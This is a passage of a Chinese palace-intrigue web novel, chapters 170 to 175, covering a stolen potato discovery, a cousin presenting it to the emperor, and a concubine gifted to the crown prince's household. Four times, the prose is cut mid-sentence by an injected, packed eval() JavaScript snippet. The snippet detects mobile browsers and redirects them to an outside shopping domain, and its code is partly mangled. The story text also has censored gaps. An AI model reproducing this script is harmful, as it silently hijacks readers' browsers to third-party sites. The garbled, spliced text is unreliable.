从信上的描述来看,那伙人几乎是在守株待兔,还极其精准地知晓马铃薯所藏之地,抢了就跑,叫他们的人都有些应接不暇。 但现在不是想这些的时候。 她脑中迅速盘算起来。 “幕后那人情报若能准到如此地步,必然知晓这马铃薯的作用,为免叫我有了防范,必然会迅速献上御前,以占先机。”她眼眸极寒,问崔母,“二表哥已经来京了?” 崔母点头:“对,他凌晨时快马加鞭赶来的。” 崔锦应了声,看着信上“为以防万一,我身上亦备马铃薯,量却不多”的字眼,叫了如秋进来。 若可以,她当然希望留到萧临登基,给自己的孩子更多荣光与保障。 可眼下形势不容她留着了。 那就都别要这份功劳! 马铃薯于她的祥瑞而言,是锦上添花,可于幕后那人而言呢? 一个只能躲在暗处算计**的老鼠,想也知道最缺荣光和功劳。 她要那人竹篮打水一场空! 第一百七十章 亩产千斤的马铃薯 兰香殿。 冯书仪展开信件,眼中喜不自胜。 马铃薯到手了! 她熟知剧情,抢女主机缘不要太轻松,纵使崔锦妙计频出,心思缜密,可如何与她这个先知斗? 况且论心计,她自认并不输于崔锦! 她还有着崔锦无法企及的优势——前人积累千年的经验教训,甚至能改变国家走向的政策良方,她都知道。 她从不会小看古人的智慧,可现代高科技的发达时代,同样是古人难以想象的。 而她本身理工学霸的知识储备,也更叫她底气十足! 想到这里,连日来心中的郁气一扫而空,她满面春风地吩咐童芳:“晚间请太子殿下来我殿中用膳。” 她早已提前交代过冯父,马铃薯拿到手后不要犹豫,立刻进献。 纵使此举会暴露在崔锦眼下,可盛世之功,崔锦又能耐她何?! 她甚至能以此功劳,得个荣耀的封号,直逼太子妃之位! 再稀罕的祥瑞,能比得过马铃薯这等利民之物? 这个能叫永隆帝名垂千古,政绩斐然的东西一旦面世,如同鸡肋的祥瑞三胎又能算什么? 过去式罢了。 童芳并不知道她的打算,便有些犹豫:“太子妃刚受了委屈,太子殿下想是要多安慰着些,恐怕……不会来我们殿里。” “你只管请就是。”冯书仪开口,“我安分了这些日子,又有姑母出面,他会给我这个面子的。” 萧临再爱崔锦又能如何,在马铃薯这种不世之功面前,他还会那样坚定吗? 更何况他现在还没认清自己的心。 只要她再努力勾引一把…… 想起什么,冯书仪脸颊不自觉浮起热意,竟有些羞红之态。 晚间,她换上了准备好的衣裳,在备酒时,她犹豫了一瞬,还是没加**。 冯父的人最晚明日就会到了,等马铃薯进献上去,萧临不必说也会来她殿中。 今夜若下药,反倒多此一举,惹他不悦。 不过一晚上而已,她等的起。 天色将将擦黑时,萧临来了。 “表哥。”冯书仪主动上前,盈盈一礼。 见萧临对她的称呼有些诧异,她微微笑了笑,含着些苦涩:“上回……您与妾身聊过后,妾身便明白了,若做不成夫妻,做兄妹也是极好的。” 她俨然一副看开了的模样,萧临虽未尽信,但的确松了口气。 冯书仪有些难办,她的身份摆在这,暂时又未曾做出对崔锦不利的事,甚至从未对崔锦有过敌意,还对祥瑞三胎十分疼爱,连衣裳都是自己一针一线缝出来的。 只是一时想不通,非要喜欢他。 他躲也不是,应也不是,也不能直接处置了她。 现在她自己想通,便是最好的结果了。 “表哥快坐。”冯书仪忙让开前路,温声说道,“妾身不知您喜欢吃什么,便依着自己的口味叫她们准备了些,您看看可满意?” 萧临坐去桌前,一扫而过,几乎大半都是自己爱吃的。 “你与本宫口味倒颇为相似。” “是么?”冯书仪松了口气,笑道,“兄妹间血脉牵绊,口味相似也是常理。” 萧临微微颔首,没再开口,用起晚膳。 冯书仪小心地给他布菜。 膳后,冯书仪并未留他,只是道:“妾身这里有些孤本,因着太过高深,竟看不太懂,素闻太子妃博闻强识,不知可否请表哥带给太子妃?” 萧临意外问:“孤本难得,你舍得?” “再难得,若看不懂,落在妾身手中也是废纸一张。”冯书仪笑了笑,“若能等到懂它的人,才算不浪费。” 说罢,她侧身请萧临去书房:“就在书架上,您稍等片刻喝杯茶,容妾身去拿。” 萧临随意点头,坐去了书房桌边。 冯书仪就站在他对面四处找书,举手投足间,精心缝制的衣裳将玲珑的身段勾勒得淋漓尽致,在摇曳的烛火下,更显婀娜勾人。 萧临却压根儿没看她,而是想,这孤本拿回去,崔锦应该会高兴吧? 冯书仪对她素来恭谨,对三个孩子也好,与后院那群女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555710|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是不一样的。 “找到了。”冯书仪欣喜地转过身,拿给萧临。 但不知是不是衣摆过长的缘故,她脚下忽地一滑,竟直直朝着萧临怀中扑来。 萧临眉头微皱,正要侧身避开,却见冯书仪艰难地转了转身,竟是主动避开了他,扑去了桌上,手臂撞在桌面,发出一道闷响。 “嘶……” 冯书仪疼得皱起眉。 她却顾不得看自己手臂,转身慌乱地解释:“方才妾身当真是不小心,绝不是有意接近您,妾身不是……” “本宫知道。”萧临也觉得是自己误会了,摆手没再说什么。 冯书仪面上终于松了口气。 崔锦当初也是如此,成功引得萧临升起些异样心思。 今日她效仿一二,不知有没有用。 她心中思忖着,手下却半点不慢的将孤本递了出去。 萧临接过后与她说了句话,便抬步出门。 冯书仪跟在他身后,只是迈过门槛时,腿脚不受使唤般,软了一下,幸好被童芳扶住了。 她抬眸看到一院宫人,顿时红了脸,叫人浮想联翩。 就算没成事,也要膈应膈应崔锦,而且宫人么……消息传的可快了,她这副春态,就不信他们心里不嘀咕。 “殿下!太子殿下!好消息啊!” 萧临还没走出兰香殿,就见庆安匆匆跑了进来,面上带着喜色。 “何事?慌慌张张成何体统!”他轻斥一句。 “是,奴才知错!”庆安说完,又止不住地笑道,“只是这消息实在太过惊喜,奴才便失了分寸。” 说罢,他扬声禀报:“恭喜太子殿下,京郊有位老伯种地时挖出了几块黄疙瘩,细细研究过后竟发现能吃,且产量极快极高!据周大儒所说,这黄疙瘩有些像海外一个叫马铃薯的东西,可亩产千斤啊!!” 萧临面露震惊,随之而来多的便是惊喜:“当真?快,马铃薯在何处,本宫去瞧瞧!” 他急急与庆安离开。 门前,冯书仪愣在原地,眼底满是不可置信。 第一百七十一章 欺君之罪,你我必诛九族 乾元宫。 周大儒等一群官员站在下首交头接耳,声音中带着难以抑制的喜色。 而永隆帝正在上首,目光发亮地看着桌上的黄疙瘩,激动到站起身。 “皇上,太子殿下求见。” “传。” 萧临大步进门,行礼:“儿臣参见父皇。” “免礼。”永隆帝头也不抬,专注地看着黄疙瘩。 萧临只能按捺住激动,拱手问:“儿臣听闻京郊有老伯种出了名为马铃薯的高产之物,不知可否为真?” “应当是真。”周大儒笑容满面,“老臣多年前曾读过一本海外游记,里面的确提过马铃薯,老伯给的马铃薯,老臣斗胆切开一块研究了一番,种种表现都与马铃薯一般无二。” 工部刘尚书也激动道:“皇上已经叫御膳房去做菜,只等验证结果了。” 萧临目露惊喜,连连道好。 一众人热火朝天的聊了起来,叫素来肃穆的乾元宫都多了几分烟火气,而永隆帝难得没呵斥,而是满面笑容地看着他们聊着马铃薯。 一刻钟后,御膳房做好的马铃薯端了上来。 御前的试毒太监吃了小半盘马铃薯块。 众人静等了小半个时辰,直到太医确认小太监身子无恙,十分康健后,殿内立刻沸腾了。 “如此说来,这当真能吃?” “周大儒说能亩产千斤,此言可真?”刘尚书焦急地确认。 周大儒笑眯眯的:“是真,是真,不过利民之物,还需确认再三为好,只等三个月试种后,我们再看。” “这是自然。”刘尚书激动不已,立刻拱手开口,“请皇上允准工部试重马铃薯!” 永隆帝自然应允:“如今的马铃薯太少,刘卿多注意着些,务必小心种植。” “是!微臣遵旨!” 萧临这才问:“说来,依周大儒之言,这马铃薯本该是海外来物,怎会出现在京郊?” 周大儒含笑开口:“是谢二公子的功劳,他本是来京探亲,却意外发现京郊老伯挖出来的黄疙瘩有些像马铃薯,便来请老臣确认一二,老臣确认是马铃薯后,不敢耽搁,这便与几位大人一起进宫禀报了。” 谢二? 萧临微愣,这才看向角落里的青衣公子和他身边的老农。 谢二适时上前,拱手行礼:“学生谢长风,给太子殿下请安。” 永隆帝也回过神来:“你是清河谢家的?” “回皇上,学生正是谢家次子。” 永隆帝眼眸微动。 谢家的公子进京探亲,又正巧遇到了老农,找到了只有海外出现的马铃薯? 谢长风低头垂眸,面对上首审视的目光岿然不动。 马铃薯出现在京郊,本就骇然,朝堂上这群人精岂会不深究细查?只要细查,便能查到他曾出海,又正巧在此时进京的事。 与其藏着掖着,叫人猜忌,还不如大大方方站出来。 太子妃说得对,谢家无故出海,本就是叫人深究的事,她有把握叫太子不追究此事,却没把握叫永隆帝不猜忌。 可他们等不到永隆帝驾崩了。 所以倒不如将焦点都转移去马铃薯上,同时又不叫谢家揽功——这落在朝堂乃至永隆帝眼里,便是谢氏不愿惹猜忌,而故意将如此不世之功拱手相让。 至少,谢氏忠君之心可鉴。 当下,永隆帝明面上并未表示怀疑,而是给足了赏赐。 谢长风和老伯齐齐谢恩。 老伯有些拘谨惊慌,又觉得自己受这一堆金银珠宝有些心虚,但普通百姓进皇宫面圣,多是如此拘谨模样,众人也未多疑什么。 等乾元宫散场时,已是凌晨时分,但一群年过半百的老头子却精神得很,出了宫还在兴奋讨论着。 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564879|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯上了谢长风的马车,立刻惊慌说道:“二公子,这么多财宝,小人可不敢拿——” “老伯当之无愧。”谢长风笑眯眯开口,“马铃薯是您挖出来的,这些赏赐也不过是当下所赏,等三个月后,马铃薯试种成功,您可为大周功臣,名垂青史。” 老伯吓了一跳:“这怎么使得——” “怎么使不得?” 谢长风为他倒了一杯茶:“老伯需记得,无论人前人后,您都是挖出马铃薯的大功臣,否则欺君之罪,你我必诛九族。” 这话低至呢喃,却叫老伯瞬间噤声。 他是七年前水患时北上逃来的流民,无父无母无妻无子,九族更早已不知所踪,可谢氏……饶是他这种普通百姓都知道有多枝繁叶茂。 一定要闭紧了嘴! 老伯额角冷汗直冒,却瞬间点了头:“小人……明白了。” 当年若非谢二公子,他这条老命怕都要淹没在那年的水患里。 人得记恩。 他自己没了命不要紧,却不能连累恩人。 谢长风见状,笑容更深:“老伯前半生艰难,往后……好日子就到了,您也不必惊慌,您在家乡时就因种田得宜而扬名,否则我也不会知晓您,继而正巧将您救下,如今既有了机会,您更该协同工部,为百姓造福才是。” “哪怕只是一两句提醒,或许就能叫以食为天的百姓受益……这该能救下多少人啊。” 他轻叹着。 老伯也正了脸色:“多谢二公子指点。” 靠种地为生的老百姓有多艰难,他深有体会。 他这辈子大字不识,也没什么大智慧,但在种田这一道上,多少是有经验和自己的想法的,以前他说的话没人听,可若以后……哪怕只能救下一亩田,救下一个人,就值了。 谢长风目光扫过他深思起来的脸色,轻轻笑了,低头喝起了茶。 第一百七十二章 竟当真叫崔锦破局了! 翌日,谢长风进东宫请安。 崔锦早已等着他了。 “学生恭请太子妃金安。”他拱手大拜。 腰还未弯下,就被笑吟吟的如春扶起。 “表哥还与我客气?”崔锦眉梢微挑,“快坐吧。” “君臣之礼该守。”谢长风含笑说完,才在一侧落座,“久不见太子妃,不知您可安好?” “一切都好。” 崔锦顿了顿:“只是辛苦表哥冒险跑一趟海外,我却未防备好,叫旁人摘了果子……” “太子妃此言差矣。” 谢长风一派坦然:“学生本就在游学,海外风景甚佳,令我几番长见识,亦受益匪浅,说来,该是我多谢太子妃给了机会才是。” 谢长清性子板正,但谢长风正与他相反,颇有些游戏人间的风流之态,说话也好听得很。 崔锦笑了笑,这才说起:“只是辛苦一趟,表哥的功劳却要拱手让人,此番……的确是我对不住你。” 想也知道此事必定是有人针对她,这才连累了谢长风。 “学生的任务只是远赴海外找寻马铃薯,马铃薯带回来了,也已献上,学生便已**。”谢长风唇边噙着笑,“太子妃若舍得,不如将海外宝物售卖所得,让利一分给学生?” 崔锦笑了:“未尝不可。” 两人正说着话,里间忽然传来一道响亮的啼哭声。 一瞬之后,一道成了三道,接连响起,哭闹不止。 “成安醒了?”崔锦无奈道,“抱出来吧。” 或许是因为她哄孩子不怎么假手于人,三个孩子对她亲近得很,尤其是成安,醒来见不到她,必然要哭闹不止。 他一哭,连带着平安和长安也要被带得哭了起来。 不一会儿,三个孩子被抱了出来,成安伸着小胳膊就冲崔锦直叫。 谢长风颇有些新奇地看着他们,目光与长安对上,长安竟对他伸出了胳膊。 奶娘忙将她送去谢长风怀里。 谢长风抱得稳当,轻摸了摸长安的脸,轻笑:“这孩子倒是不怕生,叫什么名字?” “这是三殿下。”奶娘笑回,“乳名叫长安。” 长安因祥瑞之名,字辈随皇孙辈,连序齿也是。 当然萧临这辈子也就这三个孩子了,什么序齿也无关紧要。 “原是个小姑娘。”谢长风笑了,眼神柔和了些,“瞧着不如前两个像太子和太子妃。” 崔锦无奈开口:“她啊,可像极了她祖母。” 谢长风诧异挑眉,看了看长安,再次看向崔锦时,多了些意味深长的味道。 生了三个,三个都没浪费。 这还不给皇家迷的死死的? 他抱着长安逗了会儿,便听崔锦说道:“表哥以后可有打算?” 谢长风眸光微动:“游学过后,也该入仕为官,为国尽忠,荣耀家族了。” 他今年二十四,去年刚高中——因永隆帝的权衡考量,定了另一世家子为榜眼,而同为顶级世家出身的谢长风便只能退居二甲第一。 他生性豁达,也并未沮丧,拒了翰林院的授官,继续游学去了。 崔锦言下之意,他听懂了,也乐得趁此良机入仕。 谢长风去了北境,家族在京城,总该有人撑起来。 “如此也好。”崔锦笑了笑,“太子殿下应当快下朝了,表哥多留会儿,午膳便一同用吧。” 谢长风含笑颔首。 不久后,萧临下朝回来了。 午膳时,他适时提起了举荐谢长风入朝之事,给了七品工部员外郎的官位。 双方心照不宣,都清楚这是暂时的。 等三个月后马铃薯试种成功,而永隆帝必定也查清了谢长风曾远赴海外之事,不世之功难表,却能被帝王记在心中。 届时青云直上不说,更难得的是在御前挂了号,自有他一番好处。 膳后,谢长风识趣告辞。 走出东宫后,他余光扫过这富丽堂皇,华丽异常的地方,却是轻轻叹了口气。 皇宫真是个**的地方。 曾直言直语,对至亲无话不说的小姑娘,竟也学会了弯弯绕绕,再三试探。 好在他谢氏还算得用,总不会叫她更艰难。 他抬步欲走,忽地察觉到什么,猛然回头,凌厉的目光直扫向后方。 东宫树下,冯书仪神色僵了一瞬,才冲他微微点头。 谢长风立刻垂眸,远远拱手行礼后,踱步离开。 冯书仪松了口气。 不愧是未来朝野皆惧的玉面首辅,这超乎寻常的敏锐,实在吓人,即使那张俊逸的脸上在笑,可被他目光锁住时,后背……竟是渗出了不少冷汗。 她缓了口气,才沉下了眸光。 冯父的人已经入京,却至今待在客栈,不敢轻举妄动半分——马铃薯已经被献上,他们这种马后炮还能得几分关注? 即便能拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574844|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人牙慧,却也要彻底暴露在崔锦眼下。 远远达不到她的预期。 没了这不世之功,她也不敢跟崔锦对上。 想到这里,她使劲儿掐着手心,缓解心中的怒气与怨恨。 竟当真叫崔锦破局了!! 她是真没料到谢长风反应竟如此之快,在被抢的瞬间就当机立断进京——而他身上竟还藏着几块马铃薯! 原文中从未提起过这点! 她也没想到……崔锦竟大度至此,连犹豫都不曾犹豫,直接将如此不世之功拱手让人! 让给了一个低贱的百姓! 她怎么舍得?! 谢长风这种利益至上的人,竟也甘心听话?! 只差一步……明明她只差一步,就能扶摇直上,荣华权势和男人皆掌在手啊! 冯书仪恨得眼睛通红。 她的确知道剧情,有着无与伦比的优势,可机缘过一次少一次,而马铃薯属于巨大的机缘,是她觊觎已久、筹划已久的机缘。 明明各方面都筹备的天衣无缝,也打了崔锦一个措手不及,从她手中抢走了马铃薯,却还是输了。 输给了谢长风的谨慎。 输给了崔锦意想不到的应对之策! “侧妃……”童芳担忧地看着她,“您怎么了?” 冯书仪回过神,脸色难看地笑了笑:“没事,只是方才……谢二公子的眼神太锐利,我竟有些被吓到了。” 童芳面露了然:“奴婢听说过这位谢二公子,听闻其才学能力不输谢大公子,但为人却颇为风流,清河不知多少家闺秀芳心暗许,却都被他的风流伤透了心。” “风流?”冯书仪随口道,“只是还没遇到喜欢的女子罢了。” 谢长风喜欢的可不是规规矩矩的大家闺秀,也不是崔锦那种聪明过头的女人。 他喜欢的那位,大胆热情又奔放,同时又不失女儿家娇态,将他拿捏的死死的。 自此,玉面首辅成了妻管严,过往风流不再。 想到这里,冯书仪忽地一顿。 那女子现在还未出现。 若能复制他们的初见,拿捏谢长风,这位玉面首辅……能不能变成她的人呢? 谢长清钟情崔锦,难以策反;可谢长风却是以利为先——正好,她有先知剧情,脑中又有无数先进学识。 更何况,谢长风是妻管严,若她能取代那女人…… 冯书仪眸光骤然闪动起来。 第一百七十三章 德妃送女 马铃薯一事后,东宫恢复了平静。 冯书仪和苏玉都未再作什么妖,只有靠着冯书仪的吕奉仪见萧临日日只去正殿,私底下说了几句闲话,却直接被孟黎告去了崔锦跟前,领了抄经百遍的罚。 为此,冯书仪特地去了正殿赔罪:“吕奉仪平日便喜同妾身来往,或许是见妾身父亲立功封伯,她又自觉与妾身交情不错,便生了张狂之心。” 见崔锦眉目浅淡,她十分恭谨地屈膝告罪:“如此算来,妾身的确有责任,昨夜妾身连夜抄了两本佛经,为太子妃与三位殿下祈福,还望太子妃宽心,莫要被妾身等的无状之举气着身子。” 说罢,她从童芳手里接过佛经,双手奉上。 崔锦示意如春接过,含笑道:“不过几句口角,怎就累得你专程跑这一趟?” “太子妃宽厚待下,那是您的气度,可若妾身仗您脾性好便生娇,便是妾身不懂规矩了。”冯书仪语气小心而恭敬。 她这番话说得十足低微而诚恳,又手抄了佛经,自己领罚,便是崔锦都挑不出个错来。 再者,即便冯书仪对此事不发声,她也不会借题发挥——那样就做得太难看了。 但冯书仪实在有眼色。 崔锦留她说了会儿话,便道:“本宫正要去向母妃请安,你也一起去吧?” 冯书仪含笑应是。 …… 打从她们搬入东宫后,淑贵妃隔三岔五就叫崔锦带着孩子们去钟粹宫。 平日有了好吃好玩的,即便少了九皇子的,也绝不会少了长安的。 今日的钟粹宫颇为热闹,有好几位嫔妃都在。 见着祥瑞三胎,她们好一番恭维奉承,末了,德妃含笑问:“再过几日便是秋猎了,可要带这几个小娃娃去猎场瞧瞧好风景?” 崔锦浅笑回:“春猎以后有得是机会瞧,他们尽孝祖母才是要紧事。” 淑贵妃顿时喜笑颜开:“正是如此!宫里一应事宜繁杂,本宫不得空去猎场,平安他们又还小,自是留在本宫这里最为妥当。” 皇后每年冷热交替时便要病上一回,宫务如今尽数落在她头上,去不了春猎。 但也正合她意。 比起陪永隆帝那个老头子出门,还要言行恭谨,小心侍候,她自然更想舒舒服服留在宫里抱孙子孙女。 她可眼馋许久了。 冯书仪**在一旁,听着她们说笑,心中却已有成算。 秋猎是个好机会。 平日她出不得宫,也没法接触到谢长风,但春猎人多眼杂,东宫又有崔锦顶在前头吸引注意力,她只要做足了避让太子妃锋芒、低调言行的假象,便可去完成自己的计划了。 正好,这次的秋猎,会持续一个月之久。 不过在此之前,还需先转移崔锦的注意力。 她眸光微转,凝眉扫过德妃。 不久后,德妃笑吟吟提起一事:“听闻太子妃照顾孩子,辛苦得很,太子可好一番心疼呢。” 崔锦客气回道:“照顾孩子本就是为母本分,怎可说辛苦?” “本分是本分,可带孩子哪有不苦的?”德妃摇了摇头,“本宫只生了六皇子一个,便已足够头疼,你这三个再乖,恐怕也闹人得紧,还是该找人分分忧才是啊。” 崔锦微顿。 德妃言下之意,实在不难猜。 果然,其后便听她提起:“本宫这儿有个粗使丫头,太子妃若不嫌弃,不如带回去使唤吧。” 德妃身后,一个宫女盈盈上前一步,婀娜下拜:“奴婢云出岫,恭请太子妃金安。” 她面容清冷,眉眼浅淡,可抬眸间竟带出三分艳色,顿时为这张只是普通貌美的脸添上一抹姝丽,微微上挑的眼尾扫过人时,竟有欲罢不能之态。 可因其挺直的身姿与清冷的气质,又不令人升起轻视,反觉其傲骨铮铮。 即便她此刻低头垂眸、屈膝行礼,也掩不住浑身傲气。 崔锦看着她,蓦然失笑。 即便**早已消失在京城众人的视野中,即便萧临深爱发妻的传言传遍京城,可在一些人——或者说大部分人眼里,**依旧是萧临的白月光。 情窦初开时遇上的人,又相守长达七年,即便后来的**满身狼藉,都掩盖不住萧临曾对她许过的种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581310|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种例外。 德妃亦是如此深信。 所以送来了与**性情相近,却更为貌美风情的云出岫。 殿内一时静了下来,几个嫔妃各自交换着眼神,却都没说话。 德妃兄长是工部刘尚书,位居二品,近日还领了试种马铃薯的差事,正是风头大盛之际。 六皇子才能平庸,德妃早就断了夺位的念想,在萧临被封太子后,便与淑贵妃来往更近了些,隐隐有投诚之意。 萧临就算不接她的示好,也必不能因一些小事得罪了德妃和刘尚书。 一瞬思虑后,崔锦含笑点头:“多谢娘娘体恤。” 德妃瞬间开怀,扫过云出岫:“还不去太子妃身边伺候着?日后进了东宫,可警醒着些,好生侍奉,若粗手粗脚,伤着了太子妃,本宫头一个不饶你!” 云出岫眼底极快地闪过一抹**,淡声应是。 德妃这才满意,与崔锦说笑自然。 她没有膈应崔锦的意思,但眼见着萧临的储君之位愈发稳固,势力也稳步提升,她也不得不为即将入朝的儿子打算起来。 崔锦有母家弟弟,有外家表哥,还都个顶个聪慧得用,就算她愿意帮衬六皇子,也决计不会付出全部心力;而他们兄妹投诚太晚,从龙之功也博不了多少,便只能在后院下功夫了——至少萧临身边,得有个能为六皇子说得上话的人。 如此,等日后萧临登基,六皇子有这份香火情,前程也不会差了去。 见云出岫姿态冷然地为崔锦添茶,言行一派清冷不折,她心中更为满意。 兄长费尽工夫,最终还是得好心人指点才从青楼找到的人,当真不错。 将**那份装出来的傲骨不屈像了个九成九,又是青楼出身,懂得百般勾人手段。 不求有如崔锦这般盛宠,只要能平分秋色,便足够了。 崔锦在钟粹宫待了一个多时辰,便告退离开。 回东宫时,正巧遇上下朝回来的萧临。 “殿下回来了?”她含笑上前。 “奴婢给太子殿下请安。”身后,清冷含怒的声音紧随她的声音响起。 第一百七十四章 分不清自己主子是谁,便滚回德妃那里去 闻言,崔锦微微一顿。 萧临皱起眉,眼神却没给云出岫半分,只拉着崔锦的手问道:“这几日天凉了些,怎不多穿点?” “我穿的已经够多了。”崔锦面容含笑。 “穿的多还能手冷?”萧临握住她另一只手,给她暖了暖,“快回殿里去。” 他转身就要带崔锦离开。 “等等。”崔锦回过头,看向还保持着行礼姿势,却已有些摇摇欲坠之色的云出岫,“你到底是德妃娘娘的人,便不必从丫鬟做起了,东南侧的静心殿给你住着吧,日后谨言慎行,好生侍奉。” 静心殿离前殿不远不近,没有人住。 如今萧临的后院里,也没有位份比云出岫更低的了。 云出岫还屈着膝,腰背却挺的笔直,清冷的面容一派傲气:“德妃娘娘叫奴婢伺候太子妃,奴婢自该随太子妃住在正殿。” 萧临眉头皱的更紧:“我东宫是德妃做主不成?若分不清自己主子是谁,便滚回德妃那里去!” 云出岫脸色微白:“奴婢知错,但——” “正殿乃太子妃居所。”冯书仪笑盈盈看着她,“你一个奴才,也敢与太子妃相提并论?还是打着宿居正殿,好近水楼台勾引太子殿下的主意?” 她这话单纯是为了博萧临好感度。 也的确成功了。 但云出岫眼底闪过一抹**:“奴婢区区下人,自不敢与太子妃相提并论,也从未想过勾引太子殿下……奴婢就算身份低微,也绝不会做出这等不知廉耻之事!” 她通身不屈的傲气藏都藏不住。 一双眼睛流转时,更勾过无限春意,可那清冷的双眼却叫人生不出任何她在刻意勾人的念头。 萧临看得碍眼心烦,直接拉着崔锦离开了。 徒留云出岫屈膝站在原地,身形僵硬。 冯书仪笑瞥过她,悠悠开口:“云姑娘还是认清形势的好,东宫以太子妃为尊,你一个奴才,怎敢与太子妃顶嘴?也就是太子妃脾气宽厚,这才没治你的罪,以后啊,可安分着点吧,太子殿下钟情太子妃,莫说会不会被你勾引,只怕连多看你一眼都欠奉!” 这话中满是维护崔锦的意味,更将云出岫贬的一文不值。 云出岫果然被挑起怒气,再次重复:“奴婢从未想过勾引太子殿下!一个奴婢……身世浮萍,连决定自己归宿的自由都没有,只能任人转送,可难道如此,奴婢就该遭受折辱吗?” “一个奴婢,打杀了你都不触犯律法,玩意儿罢了,也敢谈折辱?” 冯书仪故意嗤笑一声:“主子肯搭理你,便罚也是赏,辱也是赏,你都该谢恩。” 说罢,她转身悠悠离开。 云出岫攥紧双手,眼里的怒气几乎忍不住。 从前她才艺双绝,一身傲骨引得满城才俊折腰,不知有多风光,这也养成了她通身的傲气,可如今一朝进宫,却人人都能压在她头上,人人都能折辱她,叫她低头…… 可凭什么?! 太子就能强抢民女么? 被带去静心殿时,云出岫已坚定了心中所念。 若今夜太子当真要强要她……她必宁死不从! 那句“玩意儿”和“主子”,深深刺痛了她的自尊心,她生来骄傲,绝不低头,也绝不屈服! “云姑娘,这西侧殿便是您的寝殿了。”宫女将她带到,温声解释,“您位份不高,只有奴婢一个贴身丫鬟,以及外头两个洒扫太监,奴婢春云,日后您若有吩咐,只管吩咐奴婢就好。” 云出岫拂开她的手,冷着脸进殿。 春云有些无措,但还是连忙跟进去,斟茶递水。 热茶放在手边,云出岫却不曾喝。 她眼神扫过寝殿,本含怒的双眸变得诧异。 饶是她曾见过无数世面,眼界也高的很,却 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反正太子整日就可劲儿去正殿,太子妃一个人吃肉,其余人连口汤都分不到,进不进新人也没什么要紧了。 云出岫本以为自己这般美貌与才气,又有德妃做靠山,会惊起无数嫉妒,可渐渐却发现连搭理她的人都少。 即便是最为温和的苏良娣,面对她时都带着股高高在上。 这叫她有种被无视的**。 没过几日就到了秋猎。 除了两个侧妃外,崔锦点了苏玉、吕奉仪等不老实的跟自己随行,最后想了想,又加上了云出岫。 不管有没有幺蛾子,都放在眼皮底下吧。 第一百七十五章 往事 出发时正是清早。 马车已在东宫外排排等候,但崔锦与萧临没先上车,而是亲自将三个孩子送去了钟粹宫。 淑贵妃抱着长安,笑得见牙不见眼:“行了行了,你们快走吧,别耽误了时辰。” 她立刻赶人。 萧临还在看着孩子。 一旁的九皇子趴在成安边上,也有些眼巴巴的:“要不我与父皇请辞,也陪母妃留在宫里吧?” 比起秋猎,他更想玩成安。 “这像什么话?”淑贵妃瞪了他一眼,“你虚岁都十四了,不想着出门长见识,整日待在宫里有什么出息?” 九皇子撇撇嘴:“皇兄们谁不是宫里长大的?可谁没出息?母妃这是谬论。” 淑贵妃瞪起眼睛,佯装要踹他。 九皇子连忙风一阵跑出了门:“知道了知道了,儿子这就出去长出息去!” 淑贵妃面上虽怒,眼里却存着笑意,没好气地瞪了他的背影一眼:“臭小子!” 崔锦不由看向一旁的萧临。 他正在将平安塞进嘴里的小手拿出来,脸色平静,似乎全然没察觉到方才淑贵妃与九皇子的亲密。 出了钟粹宫,崔锦忽然握住了他的手。 萧临偏头看来,一笑:“我没事。” 他手下却握紧了崔锦。 等回了东宫,众人都已候在门前。 等她们行礼后,崔锦便道:“都上车吧,快到时辰了。” 众人齐齐应是,云出岫站在最末,目光一直追随着崔锦和萧临——准确来说是他们交握的手。 宫闱禁地,竟也如此张扬。 世人都说她们青楼女子放荡不堪,可现在瞧来,这所谓高贵的世家女子也不过如此——在勾引男人这条路上,她们比青楼女子都要放得开。 云出岫目露嘲讽,冷傲地搭上春云的手,准备上车。 “放肆!”一道呵斥传来,“你做什么?!” 云出岫皱眉回头,就见童芳正满面含怒地瞪着她。 “这是我们冯侧妃的马车,岂容你碰?没规矩的东西!” 云出岫脸颊猛然涨红,下意识辩道:“太子妃的马车后还有一辆马车,我以为那是冯侧妃的马车。” 